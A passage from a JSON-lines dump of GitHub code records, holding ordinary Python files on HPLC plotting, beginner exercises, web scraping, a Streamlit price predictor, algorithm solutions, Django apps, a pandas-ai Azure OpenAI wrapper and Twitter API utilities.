)\n\n ax1.set_ylabel(\"Intensity\")\n ax1.set_xlabel(\"Retention time [min]\")\n\n for wl in wl_list:\n index = np.where(wavelength == wl)[0]\n chroma_data = PDA_data[:, index]\n ax1.plot(time, chroma_data, label=str(wl) + \"nm\")\n\n ax1.legend()\n\n # PDA PLOT\n X, Y = np.meshgrid(time, wavelength)\n Z = PDA_data.T\n levels = np.linspace(Z.min(), Z.max(), 1000)\n\n ax2.set_xlabel(\"Retention time [min]\")\n ax2.set_ylabel(\"Wavelength [nm]\")\n cs = ax2.contourf(\n X,\n Y,\n Z,\n levels=levels,\n cmap=plt.cm.rainbow,\n ) # contour plot\n ax2.invert_yaxis()\n\n # SHOW PLOT\n plt.show()\n\n\n################################################################################\n# Define the file path\nfile_path = r\"C:\\Users\\marco\\python-projects\\HPLC-signal\\GWR project\\TEST__20102023 bpa_011 (PDA).txt\"\nPDA_data, time, wavelength = open_PDA(file_path)\n\n\n# plot by wavelength\n# plot_by_wavelength(PDA_data, time, wl_list=[200, 260, 350])\n\n# PLOT PDA\n# plot_pda(PDA_data, time, wavelength)\n\nmix_plot(PDA_data, time, wl_list=[200, 246, 270])\n","repo_name":"Marcodelflow/HPLC-signal","sub_path":"PDA_analysis.py","file_name":"PDA_analysis.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26328387550","text":"def test00():\n a = input().split()\n del a[-5:]\n print(a)\n\n\ndef test01():\n student_list = [\"e hwang\", \"e e\", \"1 hyo\"]\n print(\"Current student\", student_list)\n\n new_student = input(\"Enter the name of new student: \")\n student_list.append(new_student)\n\n print(\"sorting\")\n student_list.sort()\n\n for i in range(0, len(student_list)):\n print(i + 1, student_list[i])\n\n\ndef test02():\n weight = int(input(\"How weight your luggage?\"))\n\n if weight >= 20:\n print(\"You have to pay 20 dollars.\")\n else:\n print(\"There is no additional pay.\")\n\n print(\"Thank you.\")\n\n\ndef test03():\n score = int(input(\"Enter your score: \"))\n\n if score >= 140:\n print(\"You can graduate!\")\n else:\n print(\"You are hard to graduate!\")\n\n\ndef test04():\n months = int(input(\"How long have your baby born? \"))\n\n if 0 <= months <= 1:\n print(\"Should be vaccinated against tuberculosis.\")\n\n if 0 <= months <= 2:\n print(\"Should be vaccinated against Hepatitis B.\")\n\n if 2 <= months <= 6:\n print(\"Should be vaccinated against tetanus.\")\n\n if 2 <= months <= 15:\n print(\"Should be vaccinated against Pneumococcus.\")\n\n\ndef test05():\n string = input(\"Enter string: \")\n\n length = len(string)\n if length % 2 == 0:\n print(string[length // 2 - 1], string[length // 2], sep=\"\")\n else:\n print(string[length // 2])\n\n\ndef test06():\n korean = int(input(\"Korean score\"))\n english = int(input(\"English score\"))\n history = int(input(\"History score\"))\n select1 = int(input(\"Select1 score\"))\n select2 = int(input(\"Select2 score\"))\n\n if korean < 40 or \\\n english < 40 or \\\n history < 40 or \\\n english < 40 or \\\n select1 < 40 or \\\n select2 < 40:\n print(\"F\")\n else:\n print(\"P\")\n\n\ndef test08():\n quality = input(\"Enter the quality of apple: \")\n price = int(input(\"Enter the price of an apple: \"))\n\n if quality == \"fresh\":\n if price < 1000:\n print(\"Buy 10 apple\")\n else:\n print(\"Buy 5 apple\")\n else:\n print(\"Don't buy apple.\")\n\n\ndef test09():\n total = 0\n\n for number in range(1, 101):\n if number % 3 == 0:\n total += number\n\n print(total)\n\n\ndef test10():\n number = int(input(\"Enter number: \"))\n\n total = 0\n while number != 0:\n number, digit = divmod(number, 10)\n total += digit\n\n print(\"total: \", total)\n\n\ndef test11():\n number = input(\"Enter number: \")\n\n total = 0\n for digit in number:\n total += int(digit)\n\n print(\"total: \", total)\n\n\ndef test12():\n print(\"If you want to exit, enter negative number\")\n\n total = 0\n count = 0\n score = int(input(\"Enter score: \"))\n while score >= 0:\n total += score\n count += 1\n score = int(input(\"Enter score: \"))\n\n print(\"Average:\", total / count)\n\n\ndef test13():\n sentence = \"I love you\"\n\n reversed_sentence = \"\"\n for char in sentence:\n reversed_sentence = char + reversed_sentence\n\n print(reversed_sentence)\n\n\ndef test14():\n number_string = \"0123456789\"\n int_list = map(lambda x: int(x + x), number_string)\n print(list(int_list))\n\n\ndef set_test():\n superset = {\"a\", \"b\", \"c\", \"d\", \"e\"}\n subset = {\"b\", \"c\", \"d\"}\n\n if subset <= superset:\n del subset\n\n\ndef test15():\n thing = input(\"operate: \")\n number = round(abs(eval(thing)))\n\n if chr(number).isalpha():\n print(chr(number))\n else:\n print(number)\n\n\ndef simul(list_to_print):\n string_list = list(map(str, list_to_print))\n\n print(\"is all data true:\", all(list_to_print))\n print(\"length:\", len(list_to_print))\n print(\"max value:\", max(string_list))\n print(\"ascending order:\", sorted(string_list))\n print(\"data number:\", list(enumerate(list_to_print)))\n\n\ndef test16():\n simul([1, 3, 5, \"A\", \"b\"])\n\n\ndef distance(x=0, y=0):\n from math import sqrt\n\n if x == 0 and y == 0:\n x = input(\"x-axis: \")\n y = input(\"y-axis: \")\n\n x = int(x)\n y = int(y)\n\n dist = sqrt(x**2 + y**2)\n\n print(dist)\n\n\ndef test17():\n distance(3, 4)\n distance()\n\n\ndef test18():\n import urllib.request\n response = urllib.request.urlopen(\"http://theteamlab.io\")\n print(response.read())\n\n\ndef test19():\n import webbrowser\n webbrowser.open(\"http://computing.or.kr\")\n\n\ndef test20():\n from urllib.request import urlopen\n from bs4 import BeautifulSoup\n\n python_url = urlopen(\"http://python.org\")\n soup = BeautifulSoup(python_url.read(), \"html.parser\")\n print(soup.h1)\n print()\n print(soup)\n\n\ndef test21():\n import urllib.request\n\n url = \"http://storage.googleapis.com/patents/grant_full_text/2014/ipg140107.zip\"\n\n print(\"Start Download\")\n fname, header = urllib.request.urlretrieve(url, 'ipg140107.zip')\n\n print(\"End download\")\n\n\ndef test22():\n from bs4 import BeautifulSoup\n\n with open(\"example.html\") as file:\n soup = BeautifulSoup(file, \"html.parser\")\n\n target = soup.find(\"div\")\n print(target)\n\n\ndef test23():\n from bs4 import BeautifulSoup\n\n with open(\"example.html\") as page:\n soup = BeautifulSoup(page, \"html.parser\")\n\n target = soup.find_all(\"div\")\n print(target)\n\n\ndef test24():\n from bs4 import BeautifulSoup\n\n with open(\"example.html\") as page:\n soup = BeautifulSoup(page, \"html.parser\")\n\n target = soup.find_all(\"div\", {\"id\": \"ABC_id\"})\n print(target)\n\n\ndef test25():\n from urllib.request import urlopen\n from bs4 import BeautifulSoup\n\n naver_url = urlopen(\"https://movie.naver.com/movie/sdb/rank/rmovie.nhn\")\n soup = BeautifulSoup(naver_url.read(), \"html.parser\")\n print(soup.title)\n\n\ndef test26():\n from urllib.request import urlopen\n from bs4 import BeautifulSoup\n\n naver_url = urlopen(\"https://movie.naver.com/movie/sdb/rank/rmovie.nhn\")\n soup = BeautifulSoup(naver_url.read(), \"html.parser\")\n movie_list = soup.find_all(\"div\", \"tit3\")\n print(movie_list)\n\n for movie in movie_list:\n print(movie.find(\"a\").text)\n\n for i, movie in enumerate(movie_list):\n print(\"[%d] %s\" % (i, movie.find(\"a\").text))\n\n\ndef test27():\n from bs4 import BeautifulSoup as bs\n from urllib.request import urlopen\n from urllib.parse import quote_plus\n baseUrl = \"https://search.naver.com/search.naver?where=image&sm=tab_jum&query=\"\n plusUrl = input(\"Input search: \")\n crawl_num = int(input(\"Input crawl_num(max: 50): \"))\n\n url = baseUrl + quote_plus(plusUrl)\n html = urlopen(url)\n soup = bs(html, \"html.parser\")\n img = soup.find_all(class_=\"_img\")\n\n n = 1\n for i in img:\n print(n)\n imgUrl = i[\"data-source\"]\n with urlopen(imgUrl) as f:\n with open(\"images/img\" + str(n)+\".jpg\", \"wb\") as h:\n img = f.read()\n h.write(img)\n n += 1\n if n > crawl_num:\n break\n\n print(\"Image Crawling is done.\")\n\n\ndef test28():\n import numpy as np\n\n np_array = np.array([(1, 2, 3), (4, 5, 6), (7, 8, 9)], dtype=float)\n print(np_array)\n\n a = np.full((2, 3), 99, dtype=float)\n b = np.ones_like(a)\n print(b)\n\n\ndef test29():\n import numpy as np\n\n a = np.arange(0, 10, 5)\n b = np.linspace(0, 10, 5)\n print(a, b)\n\n\ndef test30():\n import numpy as np\n\n a = np.random.normal(15, 1, (2, 4))\n print(a)\n\n\ndef test31():\n import matplotlib.pyplot as plt\n\n sqr = [i ** 2 for i in range(14)]\n my_number = [i * 10 for i in range(14)]\n\n plt.plot(sqr, linewidth=10)\n plt.plot(my_number, linewidth=5)\n\n plt.title(\"0 to 13 Square Numbers\")\n plt.xlabel(\"This is x label\")\n plt.ylabel(\"This is y label\")\n\n plt.legend([\"SQR\", \"My Number\"])\n\n plt.show()\n\n\ndef test32():\n import matplotlib.pyplot as plot\n\n x_data = range(1, 11)\n y_data = range(10, 0, -1)\n\n colormap = x_data\n plot.scatter(x_data, y_data, s=50, c=colormap)\n plot.title(\"Scatter makes scatter graph\")\n plot.xlabel(\"This is x label\")\n plot.ylabel(\"This is y label\")\n plot.colorbar()\n\n plot.show()\n\n\ndef test33():\n import matplotlib.pyplot as plot\n\n x_data = range(6)\n y_data = [100, 120, 130, 140, 80, 150]\n\n plot.bar(x_data, y_data, width=0.5, color=\"red\")\n\n plot.show()\n\n\ndef test34():\n import matplotlib.pyplot as plot\n import numpy as np\n\n x_data = range(1, 5)\n a = np.array([10, 15, 20, 25])\n b = np.array([50, 55, 60, 65])\n c = np.array([100, 105, 110, 115])\n\n plot.bar(x_data, a, color=\"pink\")\n plot.bar(x_data, b, color=\"green\", bottom=a)\n plot.bar(x_data, c, color=\"r\", bottom=a+b)\n\n plot.show()\n\n\ndef test35():\n import matplotlib.pyplot as plot\n\n ratio = [25, 25, 25, 25]\n\n plot.pie(ratio)\n\n plot.show()\n\n\ndef test36():\n import matplotlib.pyplot as plot\n import numpy as np\n\n a = np.random.randn(100000)\n plot.hist(a, bins=30)\n\n plot.show()\n\n\ndef tst37():\n import matplotlib.pyplot as plot\n import numpy as np\n\n a = np.random.normal(10, 3, 5000)\n plot.hist(a, bins=30, color=\"pink\")\n\n plot.show()\n\n\nif __name__ == \"__main__\":\n tst37()\n","repo_name":"Liemani/_deprecated_portfolio","sub_path":"language/python/Example/00_playground.py","file_name":"00_playground.py","file_ext":"py","file_size_in_byte":9149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21419417305","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime, timedelta\nimport pickle\n\nst.title(\"Resale HDB Flat Predictor\")\n\n# from PIL import Image\n# image = Image.open('sunrise.jpg')\n# st.image(image, caption='')\n\n# streamlit.metric(label, value, delta=None, delta_color='normal')\n\nst.header(\"Parameter Selection\")\ndf = pd.read_csv(\"dataset/df_final.csv\",\n usecols=['floor_area_sqm','remaining_lease',\n 'town', 'storey_range',\n 'flat_model', 'flat_type'])\n\n# Expected Remaining Lease\nremaining_lease = st.slider(\"Expected Remaining Lease\",\n min_value=40,max_value=95)\n\n# Expected Transaction Date\nexpect_date = st.date_input(\"Expected Date of Purchase\")\n\nmonth_offset = round((expect_date-datetime.strptime(\"2021-09-01\", '%Y-%m-%d').date()).days/30)\n\n# Town\ntown_list= df.town.unique()\ntown = st.selectbox(\"Preferred Location\",\n town_list)\n\n# Flat Type\nflat_type_list = df.flat_type.unique()\nflat_type = st.selectbox(\"Preferred Flat Type Option\",\n flat_type_list)\n\n# Storey range\nstorey_range_list = df.storey_range.unique()\nstorey_range = st.selectbox(\"Preferred Floor Option\",\n storey_range_list)\n\n# Model Type\nmodel_list= df.loc[df.flat_type==flat_type,\"flat_model\"].unique()\nflat_model = st.selectbox(\"Preferred Flat Model Option\",\n model_list)\n\n# Flat Size\npossible_sizes = df.loc[(df.flat_model==flat_model) & (df.flat_type==flat_type)\n ,\"floor_area_sqm\"]\nfloor_area_sqm = st.slider(\"Pick flat size for a {} ({})\".format(flat_type,flat_model),\n min_value=float(np.min(possible_sizes.values)),\n max_value=float(np.max(possible_sizes.values)),\n step=0.1)\n\n\n# Model Load\n# pipeline = joblib.load('pipeline.pkl')\nwith open(\"pipeline.pkl\",\"rb\") as pickle_file:\n pipeline = pickle.load(pickle_file)\n\n\n# Pre-process new data\nparameters = {\"floor_area_sqm\":[floor_area_sqm],\n \"remaining_lease\":[remaining_lease],\n \"month_offset\":[month_offset],\n \"town\":[town],\n \"storey_range\":[storey_range],\n \"flat_model\":[flat_model],\n \"flat_type\":[flat_type]}\ndf_pred = pd.DataFrame(data=parameters)\n\n# Prediction\ny_pred = pipeline.predict(df_pred)\n\nst.header(\"Prediction Model\")\nst.subheader(\"Selected parameters:\")\nst.write(parameters)\nst.write(f\"It is predicted that your house would cost around an estimate of\\n\")\n\nst.markdown(\"\"\"\n<style>\n.big-font {\n font-size:100px !important;\n}\n</style>\n\"\"\", unsafe_allow_html=True)\n\nst.markdown(f'<p class=\"big-font\">SGD${y_pred[0]:.1f}k!</p>', unsafe_allow_html=True)\n","repo_name":"LianKeat/ResaleFlatsInSG","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74940946778","text":"# baekjoon 알고리즘 1409\n# 2023.08.03 이주현\n\n## 커서 표현을 index로 => timeout // 두개 stack을 써서 문제 해결\n# L : 왼쪽으로 한칸\n# D : 오른쪽으로 한칸\n# B : 커서의 왼쪽 삭제 \n# P$ : $를 커서의 왼쪽에 추가\n\nimport sys\n\ntext_left = list(sys.stdin.readline().rstrip()) \ntext_right = []\nnum_of_query = int(sys.stdin.readline())\n\ncursor = len(text_left) # 4\n\nfor _ in range(num_of_query):\n\n query = sys.stdin.readline()\n \n if query[0] == 'L':\n if len(text_left) > 0 :\n text_right.append(text_left.pop())\n \n elif query[0] == 'D':\n if len(text_right) > 0: \n text_left.append(text_right.pop())\n elif query[0] == 'B': \n if len(text_left) > 0:\n text_left.pop()\n elif query[0] == 'P':\n text_left.append(query[2])\n\ntext_left.extend(reversed(text_right)) \n\nprint(''.join(text_left))\n\n ","repo_name":"beOk91/algo_pago_gago","sub_path":"src/ljh/baekjoon/silver/baekjoon_1409.py","file_name":"baekjoon_1409.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3130037424","text":"from .common import *\nfrom .StreamProtocol import *\nfrom .StreamPacket import *\n\nclass LTVStreamProtocol(StreamProtocol):\n\n @classmethod\n def test_packet_complete(cls, buffer, is_tx=False) -> ParseStatus:\n # simple terminal condition for LTV data, where L/T are single bytes\n # [length] [type] [v0, v1, ..., v<length-1>]\n if len(buffer) == buffer[0] + 1:\n return ParseStatus.COMPLETE\n else:\n return ParseStatus.IN_PROGRESS\n\n @classmethod\n def get_packet_from_buffer(cls, buffer, parser_generator=None, is_tx=False) -> StreamPacket:\n definition = {\n \"name\": \"ltv_packet\",\n \"args\": [\n { \"name\": \"length\", \"type\": \"uint8\" },\n { \"name\": \"type\", \"type\": \"uint8\" },\n { \"name\": \"value\", \"type\": \"uint8a-greedy\" }\n ]\n }\n return StreamPacket(buffer=buffer, definition=definition, parser_generator=parser_generator)\n","repo_name":"perilib/perilib-python-core","sub_path":"perilib/LTVStreamProtocol.py","file_name":"LTVStreamProtocol.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"31523867000","text":"a, b = map(int, input().split())\r\r\nL = [b]\r\r\nwhile a < b:\r\r\n if b % 2 == 0:\r\r\n b //= 2\r\r\n L.append(b)\r\r\n elif b % 10 == 1:\r\r\n b //= 10\r\r\n L.append(b)\r\r\n else:\r\r\n break\r\r\nif a == b:\r\r\n print('YES')\r\r\n print(len(L))\r\r\n L.reverse()\r\r\n print(*L)\r\r\nelse:\r\r\n print('NO')","repo_name":"tcu-sdlab/marui_novice_linter","sub_path":"python_files/akar_9794_21444236_727.py","file_name":"akar_9794_21444236_727.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2328514141","text":"#coding=utf-8\nErrorMessage={\n 0:\"SUCCESS\",\n -1: \"PARAM_ERROR OR INTERNAL ERROR\",\n 10000000:\"PARAM_ERROR\",\n 99999999:\"License is not valid!\",\n 99999998:\"Task name already exist!\",\n 600:\"模板名称不能重复\",\n -2:\"模板被任务绑定不能删除\",\n -3:\"请先删除子模板\"\n}","repo_name":"ldw0810/Crawler","sub_path":"message/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40773017791","text":"from django.shortcuts import render\nfrom keras.preprocessing import image\nimport numpy as np\nimport tensorflow as tf\nfrom keras.models import load_model\nglobal graph,model\nfrom PIL import Image\n\n#initializing the graph\ngraph = tf.get_default_graph()\n\n#loading our trained model\nprint(\"Keras model loading.......\")\nmodel = load_model('Tumor recognition app/AlexNetModel.hdf5')\nprint(\"Model loaded!!\")\n\n#creating a dictionary of classes\nclass_dict = {'No Tumor Detected': 0,\n 'Tumor Detected': 1}\n\nclass_names = list(class_dict.keys())\n\ndef prediction(request):\n if request.method == 'POST' and request.FILES['myfile']:\n post = request.method == 'POST'\n myfile = request.FILES['myfile']\n img = image.load_img(myfile,target_size=(50, 50))\n img = image.img_to_array(img)\n img = np.expand_dims(img, axis=0)\n img = img/50\n with graph.as_default():\n preds = model.predict(img)\n preds = preds.flatten()\n m = max(preds)\n for index, item in enumerate(preds):\n if item == m:\n result = class_names[index]\n return render(request, \"Tumor recognition app/prediction.html\", {\n 'result': result})\n else:\n return render(request, \"Tumor recognition app/prediction.html\")\n","repo_name":"Shrawant13/herokudjangobrainapp","sub_path":"Tumor recognition app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18407816983","text":"\"\"\"OpenAI LLM via Microsoft Azure Cloud\n\nThis module is to run the OpenAI API when using Microsoft Cloud infrastructure.\nAzure has implemented the openai API access to its platform.\nFor details https://learn.microsoft.com/en-us/azure/cognitive-services/openai/reference.\n\nExample:\n Use below example to call AzureOpenAI class\n\n >>> from pandasai.llm.azure_openai import AzureOpenAI\n\n\"\"\"\n\nimport os\nfrom typing import Any, Dict, Optional\n\nimport openai\nfrom ..helpers import load_dotenv\n\nfrom ..exceptions import APIKeyNotFoundError, MissingModelError\nfrom ..prompts.base import AbstractPrompt\nfrom .base import BaseOpenAI\n\nload_dotenv()\n\n\nclass AzureOpenAI(BaseOpenAI):\n \"\"\"OpenAI LLM via Microsoft Azure\n This class uses `BaseOpenAI` class to support Azure OpenAI features.\n \"\"\"\n\n api_base: str\n api_type: str = \"azure\"\n api_version: str\n engine: str\n\n def __init__(\n self,\n api_token: Optional[str] = None,\n api_base: Optional[str] = None,\n api_version: Optional[str] = None,\n deployment_name: str = None,\n is_chat_model: bool = True,\n **kwargs,\n ):\n \"\"\"\n __init__ method of AzureOpenAI Class.\n\n Args:\n api_token (str): Azure OpenAI API token.\n api_base (str): Base url of the Azure endpoint.\n It should look like the following:\n <https://YOUR_RESOURCE_NAME.openai.azure.com/>\n api_version (str): Version of the Azure OpenAI API.\n Be aware the API version may change.\n deployment_name (str): Custom name of the deployed model\n is_chat_model (bool): Whether ``deployment_name`` corresponds to a Chat\n or a Completion model.\n **kwargs: Inference Parameters.\n \"\"\"\n\n self.api_token = api_token or os.getenv(\"OPENAI_API_KEY\") or None\n self.api_base = api_base or os.getenv(\"OPENAI_API_BASE\") or None\n self.api_version = api_version or os.getenv(\"OPENAI_API_VERSION\")\n if self.api_token is None:\n raise APIKeyNotFoundError(\n \"Azure OpenAI key is required. Please add an environment variable \"\n \"`OPENAI_API_KEY` or pass `api_token` as a named parameter\"\n )\n if self.api_base is None:\n raise APIKeyNotFoundError(\n \"Azure OpenAI base is required. Please add an environment variable \"\n \"`OPENAI_API_BASE` or pass `api_base` as a named parameter\"\n )\n if self.api_version is None:\n raise APIKeyNotFoundError(\n \"Azure OpenAI version is required. Please add an environment variable \"\n \"`OPENAI_API_VERSION` or pass `api_version` as a named parameter\"\n )\n openai.api_key = self.api_token\n openai.api_base = self.api_base\n openai.api_version = self.api_version\n openai.api_type = self.api_type\n\n if deployment_name is None:\n raise MissingModelError(\n \"No deployment name provided.\",\n \"Please include deployment name from Azure dashboard.\",\n )\n\n self.is_chat_model = is_chat_model\n self.engine = deployment_name\n\n self.openai_proxy = kwargs.get(\"openai_proxy\") or os.getenv(\"OPENAI_PROXY\")\n if self.openai_proxy:\n openai.proxy = {\"http\": self.openai_proxy, \"https\": self.openai_proxy}\n\n self._set_params(**kwargs)\n\n @property\n def _default_params(self) -> Dict[str, Any]:\n \"\"\"\n Get the default parameters for calling OpenAI API.\n\n Returns:\n dict: A dictionary containing Default Params.\n\n \"\"\"\n return {**super()._default_params, \"engine\": self.engine}\n\n def call(self, instruction: AbstractPrompt, suffix: str = \"\") -> str:\n \"\"\"\n Call the Azure OpenAI LLM.\n\n Args:\n instruction (AbstractPrompt): A prompt object with instruction for LLM.\n suffix (str): Suffix to pass.\n\n Returns:\n str: LLM response.\n\n \"\"\"\n self.last_prompt = instruction.to_string() + suffix\n\n if self.is_chat_model:\n response = self.chat_completion(self.last_prompt)\n else:\n response = self.completion(self.last_prompt)\n\n return response\n\n @property\n def type(self) -> str:\n return \"azure-openai\"\n","repo_name":"gventuri/pandas-ai","sub_path":"pandasai/llm/azure_openai.py","file_name":"azure_openai.py","file_ext":"py","file_size_in_byte":4404,"program_lang":"python","lang":"en","doc_type":"code","stars":9116,"dataset":"github-code","pt":"69"} +{"seq_id":"7783075557","text":"from django.db import models\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass Person(models.Model):\n\n class Sex(models.TextChoices):\n MALE = 'M', _('мужской')\n FEMALE = 'F', _('женский')\n\n sex = models.CharField(\n max_length=1, choices=Sex.choices, blank=False, null=False,\n default=Sex.MALE, verbose_name='Пол',\n )\n first_name = models.CharField(\n max_length=40, blank=False, null=False, verbose_name=_('Имя'),\n )\n last_name = models.CharField(\n max_length=40, blank=False, null=False, verbose_name=_('Фамилия'),\n )\n middle_name = models.CharField(\n max_length=60, blank=True, default='', verbose_name=_('Отчество'),\n )\n\n class Meta:\n abstract = True\n\n def __str__(self):\n return f'{self.first_name} {self.last_name}'\n\n\nclass Student(Person):\n\n department = models.ForeignKey(\n 'Department', on_delete=models.SET_NULL, related_name='department',\n blank=False, null=True, verbose_name=_('Кафедра'),\n )\n\n class Meta:\n unique_together = ['first_name', 'last_name', 'middle_name']\n verbose_name = _('студент')\n verbose_name_plural = _('студенты')\n ordering = ['last_name', 'first_name', 'middle_name']\n\n\nclass Teacher(Person):\n\n class Meta:\n unique_together = ['first_name', 'last_name', 'middle_name']\n verbose_name = _('преподаватель')\n verbose_name_plural = _('преподаватели')\n ordering = ['last_name', 'first_name', 'middle_name']\n\n\nclass Department(models.Model):\n name = models.CharField(\n max_length=40, blank=False, null=False, verbose_name=_('Кафедра'),\n )\n teachers = models.ManyToManyField(\n Teacher, related_name='departments', verbose_name=_('Преподаватели'), blank=True)\n\n class Meta:\n verbose_name = _('кафедра')\n verbose_name_plural = _('кафедры')\n ordering = ['name']\n\n def __str__(self):\n return self.name\n","repo_name":"cnlis/test_students_manager","sub_path":"students/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1690198781","text":"import oauth2\nimport json\nfrom tweepy import OAuthHandler\n\n# Variables that contains the user credentials to access Twitter API\naccess_token = \"your at\"\naccess_token_secret = \"your ats\"\nCONSUMER_KEY = \"your ck\"\nCONSUMER_SECRET = \"your cs\"\n\n# OAuth\ndef oauth_req(url, key, secret, http_method=\"GET\", post_body=\"\", http_headers=None):\n consumer = oauth2.Consumer(key=CONSUMER_KEY, secret=CONSUMER_SECRET)\n token = oauth2.Token(key=access_token, secret=access_token_secret)\n client = oauth2.Client(consumer, token)\n resp, content = client.request( url, method=http_method, body=post_body, headers=http_headers )\n return content\n\n# Fetch the user's timeline data (includes info about them)\ndef getTimeline(sname, numtweets):\n\n if not numtweets:\n numtweets = 20\n\n # Twitter API will return a set of tweets in JSON format\n user_timeline = oauth_req( 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=%s&count=%s&tweet_mode=extended' % (sname, numtweets), CONSUMER_KEY, CONSUMER_SECRET )\n\n # returns the timeline of JSON-formatted tweets\n return user_timeline\n\n# Grab and display the data about this user account\ndef getUserData(timeline):\n\n if timeline != \"\":\n # convert JSON array into a dict of a single tweet, cuz we just want the USER data\n userdict = json.loads(timeline)[0]\n\n # Then build an output string called usercard that we can return\n if userdict[\"user\"][\"time_zone\"]:\n usercard = \"\\nThis account's time zone is set to %s\" % userdict[\"user\"][\"time_zone\"].encode('ascii','replace')\n else:\n usercard = \"This account has not set their time zone.\"\n usercard += \"\\nThey say their location is %s\" % userdict[\"user\"][\"location\"].encode('ascii','replace')\n usercard += \"\\nTheir account was created at %s\" % userdict[\"user\"][\"created_at\"].encode('ascii','replace')\n if userdict[\"user\"][\"default_profile_image\"]:\n usercard += \"\\n\\nThey might be an egg!\"\n else:\n usercard += \"\\n\\nThey've changed their profile image; no longer an egg.\"\n usercard += \"\\nThey have contributors set to (rarely T): %s\" % userdict[\"user\"][\"contributors_enabled\"]\n if userdict[\"user\"][\"verified\"]:\n usercard += \"\\nThey're verified -- probably legit!\"\n else:\n usercard += \"\\nThey are not verified.\"\n usercard += \"\\n\\nThey've tweeted %s times\" % userdict[\"user\"][\"statuses_count\"]\n usercard += \"\\nThey have %s followers\" % userdict[\"user\"][\"followers_count\"]\n usercard += \"\\nThey have %s friends\" % userdict[\"user\"][\"friends_count\"]\n\n # name is a tuple\n usercard += \"\\n\\nTheir name is %s\" % str(userdict[\"user\"][\"name\"].encode('ascii','replace'))\n usercard += \"\\nTheir description is:\\n\"\n usercard += userdict[\"user\"][\"description\"].encode('ascii','replace')\n\n # Return a string-formatted output of their user info\n return usercard\n else:\n return \"Not a found Twitter user.\"\n\n# Just print out all this user's tweets that we have\ndef printUserTweets(timeline):\n # creates a list of dicts\n tweetslist = json.loads(timeline)\n\n for tweet in tweetslist:\n print(tweet[\"full_text\"])\n\n# Return a List all this user's tweets that we have\ndef returnUserTweets(timeline):\n # creates a list of dicts\n tweetslist = json.loads(timeline)\n usertweets = []\n\n for tweet in tweetslist:\n usertweets.append(tweet[\"full_text\"])\n\n return usertweets\n","repo_name":"doctorparadox/pyTwintel","sub_path":"twutilities.py","file_name":"twutilities.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"28658166885","text":"# 각 칸은 높이가 씌여 있음\n# 상하좌우 이웃한 곳 이동 가능\n# 세준이는 제일 왼쪽 위에 서 아래 오른쪽으로 이동하려고 한다\n## 힘을 덜 들여 높이가 낮은 지점으로만 이동하고 싶음\n# 경로의 개수\nimport sys\n\nsys.setrecursionlimit(10**6)\ndef dfs(x, y):\n if x == 0 and y == 0:\n return 1\n if dp[x][y] >= 0:\n return dp[x][y]\n dp[x][y] = 0\n for dx, dy in [(0, 1), (1, 0), (0, -1), (-1, 0)]:\n nx, ny = x + dx, y + dy\n if 0<=nx<N and 0<=ny<M and A[x][y] < A[nx][ny]:\n dp[x][y] += dfs(nx, ny)\n return dp[x][y]\n\nN, M = map(int, input().split())\nA = [[*map(int, input().split())]for _ in range(N)]\ndp = [[-1] * M for _ in range(N)]\nprint(dfs(N-1, M-1))","repo_name":"hjle2/Algorithm","sub_path":"baekjoon/다이나믹 프로그래밍/G3_1520_내리막 길.py","file_name":"G3_1520_내리막 길.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72547656219","text":"class Solution:\n def kthSmallestPrimeFraction(self, A: List[int], K: int) -> List[int]:\n n = len(A)\n ans = [0, 1]\n l = 0\n r = 1\n\n while True:\n m = (l + r) / 2\n ans[0] = 0\n count = 0\n j = 1\n\n for i in range(n):\n while j < n and A[i] > m * A[j]:\n j += 1\n count += n - j\n if j == n:\n break\n if ans[0] * A[j] < ans[1] * A[i]:\n ans[0] = A[i]\n ans[1] = A[j]\n\n if count < K:\n l = m\n elif count > K:\n r = m\n else:\n return ans\n","repo_name":"Next-Gen-UI/Code-Dynamics","sub_path":"Leetcode/0786. K-th Smallest Prime Fraction/0786.py","file_name":"0786.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"69"} +{"seq_id":"29134105903","text":"fixed_statuses = ['pending', 'defined', 'waiting', 'assigned', 'throttled',\n 'activated', 'sent', 'starting', 'running', 'holding',\n 'transferring', 'merging', 'finished', 'failed', 'cancelled', 'closed']\n\nstatus_colors = {\n 'pending': 'rgba(222, 185, 0, 1)',\n 'defined': 'rgba(33, 116, 187, 1)',\n 'waiting': 'rgba(222, 185, 0, 1)',\n 'assigned': 'rgba(9, 153, 153, 1)',\n 'throttled': 'rgba(255, 153, 51, 1)',\n 'activated': 'rgba(59, 142, 103, 1)',\n 'sent': 'rgba(222, 185, 0, 1)',\n 'starting': 'rgba(47, 209, 71, 1)',\n 'running': 'rgba(52, 169, 52, 